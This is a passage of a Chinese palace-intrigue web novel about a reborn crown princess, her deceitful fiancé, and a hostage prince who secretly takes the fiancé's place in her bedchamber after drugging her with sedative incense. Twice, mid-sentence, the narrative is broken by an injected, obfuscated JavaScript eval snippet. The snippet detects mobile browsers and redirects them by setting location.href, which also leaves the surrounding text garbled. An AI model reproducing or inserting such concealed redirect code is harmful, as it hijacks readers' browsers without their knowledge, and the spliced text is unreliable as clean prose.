许长宁眉梢轻挑,莫非重来一世,其中发生了什么她不知晓的变故,导致眼下江鹤一与谢筠并未达成合作? 一名卫士给许长宁呈上一小瓶药物,回禀道:“殿下,臣在他身上搜出了一瓶药物,若他便是那燕国质子,便更有毒害陛下的嫌疑了。” 许长宁以眼神示意卫迟风,卫迟风随即拿过药瓶去验毒。 “谢公子如何看?”许长宁松开江鹤一,站起来问道。 谢筠一脸肃色,背于身后的手攥得更紧,死死盯着江鹤一。 好不容易找到一个可以替代他的人,怎可以就这样丢了! 没用的东西! 谢筠正要设法周旋,怎知许长宁忽然身子一颤,卫迟风等一众东宫卫士纷纷拔剑! 许长宁垂眼,只见江鹤一扯住了她的裙角。 他低着头,声音虚弱如游丝,像是冷得发抖:“殿下……小人是冤枉的……” 他缓缓抬头,眼中似有泪光,“小人的师父病了,这是小人为师父求来的药,只是归途中,遭人……欺辱……” 许长宁抬手,示意卫迟风等人把剑收好,俯下身,指尖轻轻探向前去,落在江鹤一那半露的肩头,点在红肿之处上。 江鹤一,原来在她遇见他之前,是这般模样啊。 “谁,为何,如何欺辱你?” 许长宁的声音与她落在身上的指尖一样轻,江鹤一不禁颤了一颤,低声道:“小人之事,恐会污了殿下的耳。” “是么……”许长宁抬手将江鹤一的衣裳给拉正了,“那你就不怕污了我的眼?” 江鹤一再度俯下身,头几乎触地:“小人罪该万死……” “殿下。”卫迟风此时行至许长宁身边,附耳低语了一句。 许长宁望着江鹤一单薄的身影,眼神忽然冷了下来。 “他并非下毒之人。”许长宁将药瓶抛回给江鹤一,“走吧。” 江鹤一轻声谢恩,勉强支起身子,扶着墙,一瘸一拐地离开。 不错,这是江鹤一无疑了,他走起路来,是有一些跛脚的,许是从前伤了筋骨,未曾好好治疗。 然而许长宁并无重逢的欣喜,思绪甚是混乱。 那瓶药,确实是毒药,且是剧毒。 江鹤一,莫非你也存了杀意? 许长宁有些疲惫地阖上眼,一旁的薛竹铃忙摸了摸她的额头,眉心一下子皱成了橘子皮。 “殿下,回去歇息一下吧。” 薛竹铃的声音在冬夜中听起来格外娇甜,许长宁听得顿时有些困倦。 反正今夜她能救下父皇,便已十分幸运。既然直至现在都没有抓到人,估计也不会再有好消息了。 如此,她也懒得再与谢筠虚与委蛇。 “迟风,派人留下,等候父皇消息,并且盘问今夜在御书房的所有人。” 言罢,她看都没有看身边的谢筠一眼,离开了御书房。 但她走出不远处后,谢筠追了上来,挡在她面前。 “殿下是不是仍在怀疑臣?”谢筠的声音与神情皆含有几分委屈。 许长宁看着他半晌,微微一笑:“怎会?” 谢筠柔声问道:“那为何殿下今日对我如此冷淡?” 许长宁想了想,抬手抽出薛竹铃腰间的匕首——那是卫迟风送给薛竹铃防身用的。 刀尖映着的寒光,缓缓落在了谢筠的胸口。 谢筠一怔:“殿下这是何意?” “谢郎,孤梦见,你让人朝孤射了一箭,箭上涂了剧毒。”许长宁一用力,刀尖便挑破了谢筠胸口的衣裳,“刚好扎入这个位置,好疼啊……” 谢筠那副完美的面具,再度裂了一条缝,透出一丝慌张来:“我……我心悦殿下,怎可能会害您?梦境与现实是相反的,殿下若因此记恨我,我可太冤枉了。” “真的吗?”许长宁放下匕首,眼中的凌厉收敛了几分,融为暖意,“谢郎心悦孤?” “殿下还感受不到我的心意吗?”谢筠轻轻握住许长宁的手,却只带给许长宁一片冷意。 许长宁扬了扬唇,逼近一步,另一边手忽然攀上谢筠布满烧伤疤痕的脖子,将他往下一按,倏地将脸凑近,要去吻他。 然而谢筠浑身一颤,猛地闪躲,挣开了许长宁。 “殿,殿下……这……这不合适……”谢筠磕磕巴巴,整个人的脸色都变了,半是尴尬,半是掩饰。 莫说谢筠,一旁的薛竹铃和卫迟风,若不是见证了前不久许长宁发疯的模样,现在恐怕也会觉得自家殿下有些烧糊涂了。 他们默默对视一眼,决定沉默。 许长宁早知会是如此,心中冷笑。 前世在洞穴前,谢筠告知她江鹤一的身份时,还对她说了一件事。 他的声音很低,却字字清晰。 “陛下可知为何六年间,我一次都不曾碰过你?” “因为你太脏了。十八年前,洛宸和宁宴事变,你彼时十岁,便已失了清白。” “曾落入山匪之手的女子,多脏啊……怎配做昭国国君?” 然而谢筠所说之事,许长宁已记不起来了。 “谢郎花言巧语,身体却实诚,这便是心悦孤?真是扫兴。” 许长宁装作不悦,抬脚便走,谢筠忙追上去要解释,却被卫迟风冷脸抬剑拦下。 谢筠哑然,只能看着许长宁渐行渐远。 他咬紧牙关,拨开一旁的老仆人,快步走到不远处的池塘边,以帕沾水,不断用力擦拭方才被许长宁碰过的地方。 脏死了! 直至擦到皮肤发红,他的神色才舒缓了几分。 “计划提前,不能再等了。”他沉声对仆人说道。 那方手帕被攥成团扔进塘中,砸得水中谢筠的面容四分五裂。 * 许长宁回到东宫后,热病愈发严重了,喝了汤药后,整个人脱力软倒在榻上,瘫着没有再动。 薛竹铃看她这般难受,又偷偷红了眼,往她额头一遍遍敷帕子。 许长宁摸摸她的脸,轻笑道:“我的竹铃还是这么爱哭,真好……” 前世薛竹铃死前,明明被酷刑伤得体无完肤,定是疼极了,可她硬是没有掉一滴眼泪,还笑着安抚许长宁。 明明这个丫头,最爱哭了…… “殿下饿不饿?竹铃给您做好吃的好不好?”薛竹铃趴在榻边问道。 “我没事,就是有些累了。”许长宁伸出两根手指,撑起薛竹铃下垂的嘴角,“今日是个好日子,别哭丧着脸。” 薛竹铃扁着嘴,泪眼汪汪:“怎么就是好日子了……陛下那样,您又这样……” 许长宁不再说话,直接搂住凑过来的薛竹铃,抱着她闭上了眼歇息。 她重生不过几个时辰,便已经扭转了前世的命数,已是极大的胜利了。 如今她只需等父皇醒来,与父皇商议扳倒谢家的对策即可。 虽然谢家势力并非一日可以拔除,她也不能打草惊蛇,暂时还得藏起敌意,但她知晓他们的狼子野心,便已然是更胜一筹了。 更何况,她今日既敲打了谢筠,又恶心了他一番,实在爽快。 不过令她有些头疼的,是意外出现的江鹤一。 从今夜的表现来看,江鹤一并没有前世的记忆,甚至与前世她所认识的江鹤一,几乎是不同的两个人。 前世她未曾听闻父皇之死与江鹤一有任何关系,可今夜,江鹤一虽不是下毒之人,却极为可疑,而且他似乎并未与谢筠达成合作。 也不知是否因为何处生了变故,导致江鹤一这个人变了…… 他……会变吗…… 若变了,是否意味着,她再也见不到以前那个他了? 许长宁想着许多事情,越想身体越沉,很快便睡着了,但却睡得不踏实,直至被噩梦惊醒。 醒来后,许长宁不想再睡,薛竹铃为她熬了桂花甜羹,冲淡了她口中的苦药味,加上听闻许昭临的情况并不严重,她的精神与心情也随之好了许多。 她正要好好复盘所遭遇的一切,思绪却被门外卫迟风的通报声打断。 “殿下,秘书郎带着几名侍从来求见。” 许长宁顿时眉心一拧,这谢筠竟然还敢来?脸皮比她想象的还要厚一些。 “让他进来。”她倒要看看,他还有什么花招。 半晌后,谢筠轻轻推开寝殿之门,只身入内,行至屏风前,恭敬地向许长宁行了一礼。 “眼下已至亥时,谢公子为何事求见?”许长宁的声音不冷不热,毫无情绪。 谢筠未答,却先在屏风前盘腿坐下,从带来的盒子中取出一些香料,放入香炉里点燃。 “臣方才失态,让殿下扫了兴致,自知犯下大错,心中忐忑不安。” 他隔着屏风,坐姿却不似从前那般端正。 伴随着淡淡清香,他的话音,犹如夜色般轻柔。 “我已沐浴更衣,准备在此彻夜陪伴殿下。” 许长宁忽地抬眼,看向那令她厌恶的身影,甚是意外。 这倒是新奇。 不是嫌她脏吗? 许长宁沉默片刻,放下手中奏折,低笑一声:“好啊,既然谢郎如此有心,孤怎能拒绝?只是谢郎打算如何陪孤?” “陪殿下闲聊,待殿下乏了,我……便陪伴殿下入眠。” 许长宁对谢筠所言不置可否,与他开始东一句西一句地闲聊,话里话外都在试探,然而谢筠巧舌如簧,总能绕到无关紧要的事情上去。 袅袅青烟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741890|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓随夜风越过屏风,缭绕缠绵。 许长宁半倚着软枕,渐渐觉得有些迷糊,倦意直袭心头,声音弱了,回答谢筠的次数也少了。 “殿下可是乏了?”屏风对面的那道身影站起来,吹灭了寝殿中仅燃着的两盏烛火。 屋内刹那间陷入黑暗与沉寂之中。 那道身影越过屏风,伴随着极轻的脚步声,来到了许长宁的榻边,伸手挽起她的碎发,指尖有意无意地戳碰她颧骨处的肌肤,好似羽毛轻扫而过,痒得令她觉得这一瞬无限蔓延。 许长宁握住那只不安分的手,暖意如流,从掌心渗入她的血肉中。 “谢郎……” 她轻笑唤了一声,随即搂住他的脖子将他往下压,仰脸吻了上去,双手探入他的衣襟,摸索至他的后背,游离于那一道道伤疤之间。 吻过了他的唇,她又去吻他的眉眼,吻他的脖子,吻到他一度想要挣脱,她却锁住他的身体,不让他抽离。 耳鬓厮磨,缠绵缱绻,一遍又一遍,留下了越来越多的痕迹。 吻了许久,许长宁的力道逐渐变弱,她试图解开眼前人的腰带,却在成功之前,昏睡了过去。 她面前之人立于榻边,一双黑眸望着她半晌,拉起被拽掉一半的外袍,悄然转身离去。 寝殿之门打开,谢筠一边整理衣裳,一边走了出来,候在门边的老仆见状,立即为他披上外袍。 “殿下已经睡下了。”谢筠朝走过来的薛竹铃与卫迟风低声说道。 薛竹铃瞧着谢筠脖颈上的好几道红痕,侧过脸偷偷笑了笑。 殿下平日看着清心寡欲,怎么生一场病,就变得如狼似虎了呢? “此事还是莫让旁人知晓为好,劳烦二位为谢某保密。”谢筠抬手作揖道谢,并问,“我需要去一趟浴房,卫将军可否将附近的卫士暂时调走?” 卫迟风看谢筠确实得了殿下青睐,对他的态度好了一些:“秘书郎请在此处稍作等候。” 但卫迟风不知,在他调走浴房附近巡逻的卫士后,一道与谢筠甚是相似的身影,从许长宁寝殿的后窗跳出来,一路赶到浴房,与正在等候他的谢筠碰面。 “你表现得不错。” 谢筠用手帕擦掉脖子上用脂粉涂出来的假红痕,转身看向来人。 江鹤一穿着与谢筠一模一样的衣裳,站在他面前。 浴房微弱的烛光,映在江鹤一的身上,照亮了他脖子上的吻痕。 道道吻痕之中,还夹杂着一道咬痕,甚是清晰。 谢筠看清楚后,不禁蹙眉:“真是麻烦。” 吻痕容易造出假的,可这咬痕就麻烦了…… “这与我无关。”江鹤一面无表情,声音毫无波澜,“还请秘书郎遵守承诺,把药给我。” 谢筠朝身边老仆抬手,老仆马上掏出一个布囊递到他手中。 江鹤一正要伸手去接,可谢筠却忽然松手,布囊掉到了地上。 江鹤一并未在意,俯身捡起,打开看了眼,确认里面的药物正是他所需,便小心地收好了。 “把衣裳换了,出去时别给我露出破绽。”谢筠让人给江鹤一扔去一套侍从的衣裳,却没有让人回避的意思。 “正好让我看看,你身上所有的伤疤,是否与我身上的伤痕基本契合。”他眼含羞辱之意,要看着江鹤一脱干净。 江鹤一望着他片刻,一言不发,当即便开始换衣裳。 这种羞辱于他而言,如同家常便饭。 谢筠只看了一眼,便嫌弃一般转过身,问:“那能让人神志迷糊的迷香,可是你自己所制?” 那迷香倒是比他本想使用的更加有效,江鹤一比他瘦弱许多,许长宁竟然毫无察觉。 江鹤一“嗯”了一声,又听谢筠问道:“今夜的那一小块,能让许长宁睡多久?” “至少两个时辰。”江鹤一答得迅速果断。 然而,本该至少沉睡两个时辰的许长宁,此时正睁着眼倚在榻边,摸着留有江鹤一余温的双唇,轻轻笑了笑。 没想到被自己那么一激,谢筠竟提前让江鹤一行了替代之事。 既然该来的还是来了,那她就陪他们好好玩玩。 * 江鹤一的前世日志·三 谢家的行动极快,让几位大臣于朝堂上向许长宁施压,不出五日便定下了许长宁与谢筠的婚事。国不可一日无君,为了尽快让许长宁登基,他们什么礼节都略过了,又用五日定下了大婚的诸多事宜,于今日十一月十五举行两人的大婚。 第一次行替代之事,甚是紧张……我提前调配好了迷香,试验了许多遍,确保许长宁不会认出眼前人是谁,昏睡后会毫无知觉,但即便如此,也省不了将她衣裳脱掉这一步…… 我这副残躯,早已被凌辱过无数遍,只要能回家,如何都无所谓,可即便是做戏,对一个昭国人如此,我也觉得自己甚是下贱…… 但许是那迷香的作用,整个过程……比起遭受毒打,也不算煎熬,忍忍便是了,与她虚与委蛇至她沉睡即可,时间不会太长……只是,她平日看着矜贵,为何……会咬人? 4. 野种 江鹤一向来知晓,自己在昭国不会有一天好日子过,对节日也一贯没有任何期待。 但这个冬至,他着实觉得自己活得不像人。 他本想鱼死网破,装作太监偷偷潜入御书房,给许昭临下毒,但他最终还是没有下手。 因为他听见许昭临问,许长宁怎么还未过来一同用晚膳。 他想起自己并非孤身一人,还有人需要顾及,若是被抓,恐怕要连累那人。 虽然他不喜那人,但总归不能害了他的性命。 江鹤一寻机离开了御书房,却不承想,半路不幸遇见那几个常年欺辱他的真太监。 那几个太监见他穿着和他们一样的衣裳,当即便怒了,说那是对他们的羞辱,不仅剥了他的衣裳,还对他一顿拳打脚踢。 江鹤一双臂紧护着头,蜷缩在角落,无论被如何打,都一声不吭。 他自认为没什么本事,唯一最擅长忍耐。 他的自尊早已被揉碎践踏,挨打不过家常便饭,算他今日倒霉。 但打着打着,那几个太监忽然一溜烟跑了,未待江鹤一弄清楚发生了何事,他就被几名东宫卫士抓了起来,押回御书房,被带到昭国最尊贵的女子面前,身上那瓶毒药也被搜了出来。 他虽未与这个皇太女有过直接交集,但他对她的事迹略有耳闻,能在朝堂上叱咤风云的储君,不会是个好惹的人。 “抬起头来。” 听见这句话时,江鹤一觉得自己死定了。 怎料,许长宁竟然看上了他的脸,直接伸手触碰,似乎对他这般模样甚是感兴趣。 于是,他忍住心中那股对所有昭国人的厌恶,抓住她的衣角摇尾乞怜,果真被释放了。 不管那瓶药是否被看出来是毒药,江鹤一离开御书房的范围后,便马上销毁了毒药,彻底捡回了一条命。 他拢紧衣裳,整理好仪容,往住处走回去。 尚未推开院门,一个身穿太监服装的男孩便从屋檐上跳下来,拽着江鹤一往院里走。 “你去了何处?我和叔找你都要找疯了!”林笙急急甩出一句话后,才看清江鹤一只着单衣,又问,“我借你的衣裳呢?” “没了。”江鹤一不多说,撒开林笙往屋里走。 “什么叫没了?那可是新的!”林笙忙追上去,叨叨不止,“借你是一个价,要是丢了,那便是另外一个价了,我可都会记在账上的,回头你记得还啊。” 在即将推开屋门时,林笙忽然行快两步,先推开了门,拉着江鹤一入屋。 苏明烨负手站在屋内徘徊等候,看见江鹤一,眼神先是一亮,随即脸色变得甚是阴沉。 “人我找回来啦,叔啥时候结账?”林笙笑嘻嘻道。 “先欠着。”苏明烨走到江鹤一面前,看他一身单衣尽是脚印脏污,眉心拧得更紧。 林笙撅起了嘴,默默走到一边,掏出了他记账的本子,清楚写上两笔欠款账目。 “去了何处?”苏明烨的声音十分严厉。 江鹤一并不怕他,轻描淡写答道:“给昭皇下毒去了,但没成功。” “你疯了吗?”苏明烨目光一凛,揪住江鹤一的衣襟,低声斥责,“为质十二年,我便教了你十二年,你即将及冠,为何还会做出如此鲁莽愚蠢之事?不要命了?!我陪你来昭国,不是要跟你一起死在这里的!” 苏明烨一边骂,一边侧头喘咳,然而江鹤一侧过脸,一个眼神都没有给苏明烨,神色淡漠,似乎没有听见他的话。 苏明烨见他如此,也甚是无奈,愤愤撒手,重新将手背于身后:“真是一点都不像你的母后,性子与江阙那个混蛋一模一样!我教你多少次了?遇事要忍耐,在这个地方,只有卑躬屈膝才能活下去,你要由着他们打骂,不要还手,也不要起反抗的心思,忍一忍,他们总有一日会觉得无趣的。你若反抗,死都不知道是如何死的!” “哎呀叔,今日是冬至,开开心心过个节嘛。”林笙笑着过来打圆场,苏明烨紧皱的眉头才松开几分。 他不再责怪江鹤一,但藏于袖中的手,仍止不住地颤抖。 万幸……万幸…… 他忍下汹涌的后怕,转身走向柜子,要将方才收好的汤圆拿出来。 他晓得江鹤一喜欢吃甜食,便花了些银子,拜托林笙给他偷偷带了一些过来,以甜汤煮熟。但江鹤一久久未归,他怕汤凉了,只好先用布将碗裹起来,收进柜子里。 看江鹤一这副模样,定是又挨了打,前几日这小子才从病中缓过来,现在又受伤,看来得往汤里加些药才行。 到底还是他没有照顾好这小子…… 苏明烨无声叹了口气,正要端出汤圆,忽然听见身后的江鹤一笑了一声。 “你苏明烨,才是最愚蠢混蛋之人。”江鹤一冷笑道,“什么都做不了,与废物有何异?” 苏明烨一愣,端起的碗又放下了。 江鹤一平时向来沉默,几乎不会顶嘴。 苏明烨回身看他时,又板起了脸:“好好说话,我是你师父。” “想让我喊你做师父?你教我什么了?那一点医术?那些狗屁跪地求饶的法子?这些东西能带我回家吗?能让我与父皇母后再见一面吗?” 江鹤一语气越来越重,直逼苏明烨身前,似是忍耐许久,终于爆发,“你只知肖想我母后,你可知她如今有性命之忧?!她本就体弱,被打入冷宫多年,已是一身病痛,还被那虞妃陷害下狱,再过几日便要被赐死了!我现在拼一次,也许还能赶回去救母后,哪怕就见最后一面!” 江鹤一的声音染上了哭腔,苏明烨闻言,一时诧异不已,双手的颤抖更甚,声音里是极为罕见的惊慌。 “你、你从何处得知的消息?虞妃是如何陷害你母后的?你马上细细道来,我想办法、想办法让人——” “别假惺惺了!”江鹤一厉声打断,推了一把苏明烨,“明明就是你害得母后沦落至此!还在装什么好人?一个太医,竟然勾引皇后,父皇便是知晓你们的私情,才会这般冷落母后!” 一句句斥责,吼得苏明烨的脸色渐渐变得惨白。 他在……说什么? “老一!”林笙看苏明烨脸色不好,忙拽住江鹤一的袖子,示意他别说了。 “你说江阙……知晓我与徽音……”苏明烨颤声问了一半,站不稳般向后退了几步,撑住了桌子一脚,喃喃道,“怎么会……” 江鹤一冷静了几分,发红的双眼中仍带着愤懑。 他看着苏明烨,问出那个他十二年来一直想问的问题。 “所以,因为我是野种,父皇才扔我来昭国为质,十二年都没有想过要接我回去,对吗?” 不断喃喃自语的苏明烨,因这一句话倏地抬眼。 他似是震惊,又像是在思考。 沉默间,他的呼吸变得急促,苍白的脸也迅速涨红。 他向江鹤一迈出一步,刚要张口说话,却因气急攻心,猛地吐出一口血,向前倒下。 江鹤一愣怔一瞬,手疾眼快接住了苏明烨,顿时将方才所有的气愤都抛之脑后。 看苏明烨睁着眼,喘息着,双目逐渐变得无神,江鹤一蓦地慌了,忙让一旁傻眼的林笙去拿药。 “苏明烨!”江鹤一扼住苏明烨的手腕为他把脉,急声对他说,“稳住呼吸!” 苏明烨动了动手指,轻轻回握住江鹤一为他把脉的手。 “孩子……” 十二年来,江鹤一第一次看到苏明烨流眼泪。 眼泪从他布满皱纹的眼角划过,无声滴落。 “对不起……” 林笙听着身后的对话,心急如焚,在一堆瓶瓶罐罐中寻找,终于找到平日苏明烨服用的药物,兴冲冲拿到江鹤一面前,打开一倒,却发现药瓶已空。 江鹤一感到心脏一颤,再看向苏明烨时,他已闭上眼,脸色惨白。 “苏明烨……”江鹤一晃了晃苏明烨,声音有些发抖。 “怎么办啊……这药是在宫外买的,现在已经无法出宫了……”林笙与江鹤一一般大,也慌张得没了主意。 江鹤一咬咬牙,迅速将苏明烨扛回榻上,随手披上一件衣裳,立即往外赶:“我去找太医求药。” “等等!”林笙把他拽了回来,“这些年你求了多少遍?太医哪一次给你药了?等你回来,叔都要凉透了!你还不如赶紧给他施针什么的,撑到明日我出宫去给你带药回来。” “不行,他必须服药。”江鹤一攥紧了拳,气息也变得紊乱。 慌乱之中,忽然有一张脸于他脑中浮现。 许长宁抬起了他的下巴,手指点在他裸露的肩头,伸手为他拢紧了衣裳…… “我去向许长宁求药。”江鹤一抬腿继续往外走。 林笙一愣,忙追上去:“不是!殿下对燕国什么态度你不清楚吗?她怎可能会给你药?” 见江鹤一毫无反应,林笙再度拽住他,正色道:“你江家人杀了殿下所有兄弟姐妹,她见着你怕是会一剑劈死你!” 江鹤一摇头:“不会。我觉得,那个女人似乎蛮喜欢这副皮囊。” 也许他再装一次可怜,许长宁真的会给他药。 “啊?”林笙再度傻眼,尚未能理解江鹤一所言,江鹤一已没了踪影。 而江鹤一走出去没几步,忽然迎面撞上了谢筠。 “急着要去何处?”谢筠笑面如春风。 * 这一夜,江鹤一觉得定会终生难忘。 这是他第一次与女子行如此亲密之事,可这名女子,却是他厌恶仇视的昭国人。 他难以形容自己的感觉,恶心是必然的,但他也感受到了一丝的好奇与羞涩,原来男女之事,竟是这般…… 跟着谢筠从东宫出来后,江鹤一并未能马上离开,而是被谢筠的侍从拦着。 “谢某是个守信之人,只要你日后好好替我行事,让殿下满意了,你要什么药,甚至钱财,我都能给你,有朝一日事成,我还可助你回燕国。” 谢筠开出了他的条件,条件甚是诱人。 他需要替代他的那个人,与他一样身上遍布伤疤,并且可以在皇宫中自由行动,又不会生出攀附许长宁的心思。 因此,痛恨昭国人的江鹤一是最佳人选。 江鹤一在昭国孤立无援,只要有人伸出援手,就一定会紧紧抓住,这种人,最是容易拿捏。 江鹤一并未作答,只是面无表情地转身要离开。 侍从抬手拦他,谢筠却摇头,让他们放江鹤一离开:“你知道我在何处,想好了可以来寻我。” 江鹤一头也不回,拿着足以让苏明烨支撑三日的药,急匆匆赶回住处。 且不说他能否相信昭国人,他被欺辱十几年,不可能帮一个昭国人,去伺候另一个昭国人,即便他再不在意自己的身体,也不想再做如此下贱之事。 “你可算回来了!”林笙满脸愁容地守在榻边,“叔方才又吐了几次血,我给他换了几遍衣裳,已经没有可换的干净衣裳了。” “去那个箱子里找找。”江鹤一指了指角落的一个箱子,立即开始为苏明烨配药。 十二年来,他已将苏明烨的医术学得七七八八,此时手法熟练迅速,俨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741891|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然如同一名医者。 捣药之际,江鹤一忽然后悔了。 他方才太心急了,明知苏明烨一直病着,不应该那样气他的。 毕竟,苏明烨再如何混蛋,也是这偌大的昭国中,唯一一个燕国人了,气急攻心对他的病体而言,是会要命的。 江鹤一将药物兑水,扶起昏迷的苏明烨,撬开他的嘴,小心地将药喂了下去,看着他的呼吸逐渐平稳下来,江鹤一悬着的心才落地。 “方才为你守着叔,可是要收钱的啊。”林笙给江鹤一递去一套苏明烨的衣裳,咧嘴道,“不过看在今日冬至,给你打折好了。” “先欠着。”江鹤一随口敷衍,接过了苏明烨那件多处缝补过的旧衣。 “哼,你们老这样。”林笙小声发表不满,但也没有追着要钱,只是一边拿着账本写写画画,一边往外走,“叔给你煮了汤圆,为了保温,收进了柜子里。都是钱,别浪费了。” 话音落下,林笙已消失在夜色中。 江鹤一的耳边瞬间清静下来,他看向那半敞开的柜子,看到了被仔细包裹起来的碗。 汤圆,只有一碗…… 是了,苏明烨每年冬至,都会给他煮汤圆…… 但他一次都没有吃过,为何苏明烨还要年年坚持? 是因为愧疚吗? 江鹤一思绪混乱,摊开苏明烨的旧衣,要给苏明烨换上时,忽然有一封信从旧衣中掉落。 他俯身捡起,却因信封上的字而神色一滞。 那是母后周徽音的字。 十二年间,江鹤一从不曾收到过来自燕国的信,他知道昭国人不可能会为他传信,说明这封信是他来昭国之前写的。 母后不曾给他留过信,却给苏明烨留了信? 江鹤一对苏明烨的那股气又燃了起来,他不甘地打开信,却在看见第一句话时便愣住了。 “鹤一,母后的好孩儿……” 这是,写给他的信? 为何苏明烨这么多年都没有给他看过? 江鹤一因为周徽音的寥寥几句便红了眼,忙抹掉泪花,继续往下看。 然而信上所写,句句令他心惊。 怎么可能…… 如同窝囊废一般的苏明烨,怎么可能会为了他,做过那些事…… 江鹤一攥紧了信的一角,看了一遍又一遍,始终无法相信。 可是母后不会骗他,仔细想来,似乎也有许多蛛丝马迹可以对得上。 他转头看向榻上的苏明烨,沉默了很久。 最终,他似是败下阵来,低声喃喃。 “苏明烨,别以为自己有多伟大,别以为,这样我就会感激你……” 江鹤一摊开手中苏明烨的旧衣,正准备给他换上,苏明烨忽然一阵呛咳,江鹤一忙去扶他起来,为他顺气。 可苏明烨却咳出许多血来,最后连服下去的药都吐了出来。 烛火明灭间,江鹤一感觉到恐惧从他背脊向上蔓延。 苏明烨气若游丝,脉象极弱,已是濒危之状。 江鹤一奔向一旁去拿针袋,手却抖得拿不稳针。 不可以…… 别丢下他…… 江鹤一死死咬着牙关,用了苏明烨教给他的针法,一针针往苏明烨身上可以救命的穴位扎,望借针力暂稳苏明烨的气血。 他没有察觉,自己已经泪流满面。 “苏明烨……” “你不是说要活着回燕国吗?你不是还想再见我母后一面吗?” “别走……师父……” 江鹤一害怕得声音发颤,终于在他一声声呼唤中,苏明烨的呼吸稍稍稳住了。 但针力终是外力,如今苏明烨如风中残烛,气血每刻都在耗散,若针力衰竭,恐怕会更危险。 “老一!我有个好消息——”林笙忽然折返,但刚推开门,江鹤一便与他擦肩而过,冲了出去,“诶,你去哪?!” 江鹤一没有心思回答林笙,强忍后怕,一路狂奔。 他还需要更强效的药物! 无论如何,他都要保住苏明烨的命!要他做什么都行! 江鹤一奔至谢筠在宫内当值的地方,尚未喘顺气,便急声对门口的侍从道:“谢公子呢?我要求见谢公子!” * 许长宁的前世日志·一 我知晓,这桩婚事不过是一场交易,只是国律甚是不公,为何皇太子无须成婚便能登基,而我同为储君,却因身为女子,便要先成婚才能登基?怎么,只因为男子身下多了一把子,便比女子更聪明,更高贵?可笑。 罢了,父皇已逝,我一人难以对抗满朝文武,尤其是右相那个老东西,成婚便成婚吧。谢筠温文尔雅,亦有才华,既然众臣看中他,母后也支持,我不抗拒,婚后让他管些杂碎政务也无妨。 可大婚之日,他竟让人替他圆房,实在过分…… 寝殿应是布下了迷香,但迷香对我的作用不大。许是因为我不耐猫气,又喜欢与小猫玩耍,时常吸用防嚏之药,那药物有迷香成分,使用次数多了,我便难以受迷香所惑。替谢筠之人面相与谢筠全然不同,我一摸便知,但这人竟也浑身伤疤,并非谢筠身上那种烧伤伤疤,而是被打出来的伤疤,若我当真受迷香影响,恐怕分不出两者区别。 我本有些生气,但这个男人倒也乖顺,身子好似暖炉,我手脚冰冷,贴于他身甚是舒服,感情一事勉强不来,罢了……不过作为报复,我最后咬了他一口,明日谢筠也得在自己脖子上弄一个咬痕,想想便觉得有趣。 若改日这人还敢来,我便在他脸上咬一口。 5. 命运 “阿宁快跑……” “阿兄跑不动了……” “他们要杀过来了……你快跑……” “阿宁要替阿兄好好活下去,好好照顾父皇和母后……” 一抹抹血色飞溅,染红了黑白的记忆。 许长宁只记得耳边充斥着弟弟妹妹们的尖叫和哭喊,她拼命地向前逃跑,身后追赶她的,是千百个黑影组成的浪潮,吞噬了所有光亮。 刀剑化作恶兽獠牙,要将她撕咬成碎片…… “阿兄!” 许长宁猛然惊醒,在昏暗的寝殿中大口喘息,冷汗已然沾湿了她额前的碎发。 薛竹铃近日一直睡在许长宁寝殿中,在榻边地上铺了褥子,能更好地照顾生病的许长宁。 听见许长宁的惊呼,她迅速爬了起来,凑近许长宁轻声哄道:“殿下莫怕,只是噩梦。” 许长宁看见薛竹铃巴眨着一双大眼,便往里挪了挪,薛竹铃会意,熟练地在许长宁身边躺下,脸蛋蹭着许长宁的颈窝,一只手轻轻拍着许长宁的肩头。 慢慢地,许长宁狂跳的心平静了下来。 她知道那些不是噩梦,而是忘却的记忆。 十二年前,父皇邀请燕皇江阙赴和宁宴,欲促两国和平,可燕皇却派杀手屠戮了昭国所有皇嗣,许长宁是唯一一个活下来的。 她的胞兄许长安,彼时的昭国皇太子,为了救她而死。 许长宁受了极大刺激,失去了那日所有记忆,只记得阿兄为她挡下一剑,拉着她跑了一段路,最后跑不动了,靠在一棵树旁,渐渐没了呼吸。 自那之后,许是许昭临的身体出了问题,昭国再无新的皇子公主诞生,和宁宴后的第二年,许昭临封许长宁为皇太女,全力培养。 而许长宁为了不辜负拼命救下她的阿兄,以及背负着巨大压力,册封公主为储君的父皇,从十一岁起便褪去稚气,宵衣旰食,白日研求治道,夜里誊录奏章,摹拟批复,遇到疑难之处,便求教父皇,常至深夜才歇息。 自十五岁开始,许长宁便参与朝堂议事,常立于御座一侧,默记朝臣论辩要义,退朝后又追着大臣请教漕运、农桑诸事,凡经手的案牍皆字斟句酌,唯恐有半分疏漏。 眼下二十二岁,她早已能行监国之责,但仍因身为女子,明里暗里遭受许多非议与不服。 “殿下,您想不想吃煎肉包子?竹铃给您做好不好?”薛竹铃看许长宁神色凝重,脸色仍有些苍白,心疼不已。 许长宁摇摇头:“喝些清粥吧。” “可是……”薛竹铃扁扁嘴,“您病了几日,都没有吃过一口肉,眼看着都消瘦了许多……” 许长宁掐掐她的脸,还是说没有胃口吃肉,薛竹铃只好作罢。 听见寝殿内有动静,守在殿外的卫迟风便敲门入内,隔着屏风向许长宁汇报。 “殿下,您让我查的事情,有消息了。” “你说。”许长宁掀开褥子坐了起来,薛竹铃马上给她披上外袍裹紧。 